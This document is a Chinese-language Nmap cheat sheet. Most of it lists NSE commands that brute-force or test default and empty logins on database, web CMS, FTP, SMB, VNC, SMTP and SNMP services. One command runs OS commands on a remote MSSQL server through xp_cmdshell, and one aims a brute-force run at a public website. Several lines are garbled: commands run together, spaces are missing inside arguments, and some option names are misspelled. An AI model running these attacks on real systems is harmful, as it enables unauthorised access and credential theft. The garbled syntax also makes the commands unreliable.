目录
nmap -p3306 --script=mysql-databases --script-argsmysqluser=root,mysqlpass 192.168.1.101
nmap -p3306 --script=mysql-variables 192.168.1.3nmap -sV --script=mysql-variables 192.168.1.3 ( 无法确定端口的情况下 )
nmap -p3306 --script=mysql-empty-password 192.168.1.3nmap -sV -F -T4 --script=mysql-empty-password 192.168.1.3
nmap --script=mysql-brute 192.168.1.101nmap -p3306 --script=mysql-brute userdb=/root/passdb.txtpassdb=/root/pass.txt 192.168.1.101 ( 指定字典 )
nmap -p3306 --script mysql-audit --script-args"mysql-audit.username='root',mysql-audit.password='123',mysql-audit.fi lename='nselib/data/mysql-cis.audit'" 192.168.1.104
nmap --script=oracle-brute -p 1521 --script-args oracle-brute.sid=test192.168.1.121nmap --script=oracle-brute -p 1521 --script-args oracle-brute.sid=test--script-args userdb=/tmp/usernames.txt,passdb=/tmp/password.txt192.168.1.105
nmap -p 1433 --script ms-sql-brute --script-args userdb=name.txt,passdb=pass.txt 192.168.1.104
nmap -p 1433 --script ms-sql-empty-password 192.168.1.104
nmap -p 1433 --script ms-sql-tables --script-args mssql.username=sa,mssql.Password=sa 192.168.1.101
nmap -p 1433 --script ms-sql-xp-cmdshell --script-argsmssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd="ipconfig" 192.168.1.101
nmap -p 5432 --script pgsql-brute 192.168.1.101
nmap --script=http-brute -p 80 www.pcos.cn
- nmap --script ftp-brute -p 21 192.168.1.101
- nmap --script ftp-brute --script-args userdb=user.txt,passdb=pass.txt -p 21 192.168.1.101
- nmap --script=ftp-anon 192.168.1.101
- nmap -p80 --script http-wordpress-brute 192.168.1.110
- nmap -p80 --script http-wordpress-brute --script-args userdb=user.txt,passdb=passwd.txt 192.168.1.110
- nmap -p80 --script http-wordpress-brute --script-args http-wordpress-brute.threads=10 192.168.1.110
- nmap -p80 --script http-joomla-brute 192.168.1.110
- nmap -p80 --script http-joomla-brute --script-args uesrdb=user.txt,passdb=passwd.txt 192.168.1.110
- nmap -p80 --script http-joomla-brute --script-args uesrdb=user.txt,passdb=passwd.txt,http-joomla-brute.threads=5 192.168.1.110
nmap -p110 --script=pop3-brute 192.168.1.110
- nmap --script smb-brute.nse -p 445 192.168.1.110
- nmap --script smb-brute.nse --script-args passdb=pass.txt -p 445 192.168.1.110
nmap --script vnc-brute -p 5900 192.168.1.110
nmap -p 25 --script smtp-brute 192.168.1.110nmap -p 25 --script=smtp-enum-users.nse smith.jack.com ( 枚举远程系统所有用户)
nmap --script stuxnet-detect -p 445 192.168.1.110
nmap -sU -p 161 --script=snmp-netstat 192.168.1.101 (获取目标主机网络连接状态)nmap -sU -p 161 --script=snmp-processes 192.168.1.110 ( 枚举目标主机的系统进程)nmap -sU -p 161 --script=snmp-win32-services 192.168.1.110 ( 获得windows 服务器的服务 )nmap -sU -p 161 --script snmp-brute 192.168.1.110
- nmap --send-eth 192.168.1.111
nmap --send-ip 192.168.1.111
nmap --privileged 192.168.1.111
nmap --interactive
nmap -V
nmap -d (1-9) 192.168.1.111
nmap --packet-trace -p 20-30 192.168.1.111
nmap --iflist www.iteye.com
nmap -e eth0 192.168.1.111
- nmap -oG 1.txt -v 192.168.126.1/24
- nmap --resume 1.txt (继续扫描)
- dnmap_server -f test (指定命令脚本)
- dnmap_client -s 192.168.1.107 -a test
- (1)
- -- The scanning module --
- author = "Wing"
- categories = {"version"}
- portrule = function(host,port)
- return port.protocol == "tcp" and port.number == 80 and
- port.state == "open"
- end
- action = function(host,port)return "Found!!!"
- end
- (2) -- The scanning module --
- author = "Wing"
- categories = {"version"}
- local comm=require "comm"
- require "shortport"
- local http=require "http"
- portrule = function(host,port)
- return (port.number == 80) and (port.start=="open")
- end
- action = function(host,port)
- local uri = "/admin.php"
- local response = http.get(host,port,uri)
- return "Found!!!"
- end
nmap --script=firewalk --traceroute 192.168.1.111
nmap -p 902 --script vmauthd-brute 192.168.1.107
nmap -F -oN d:/test1.txt 192.168.1.111
nmap -F -oX d:/test1.xml 192.168.1.111
nmap -F -oS d:/test2.txt 192.168.1.111
nmap -F -oG d:/test2.txt 192.168.1.111
nmap -F -oA d:/test2 192.168.1.111
nmap -F -append-output -oN d:/test2.txt 192.168.1.111
nmap -F -oX testB.xml --stylesheet http://www.insecure.org/nmap/data/nmap.xsl 192.168.1.111
nmap -oX d:/testC.xml --no-stylesheet 192.168.1.111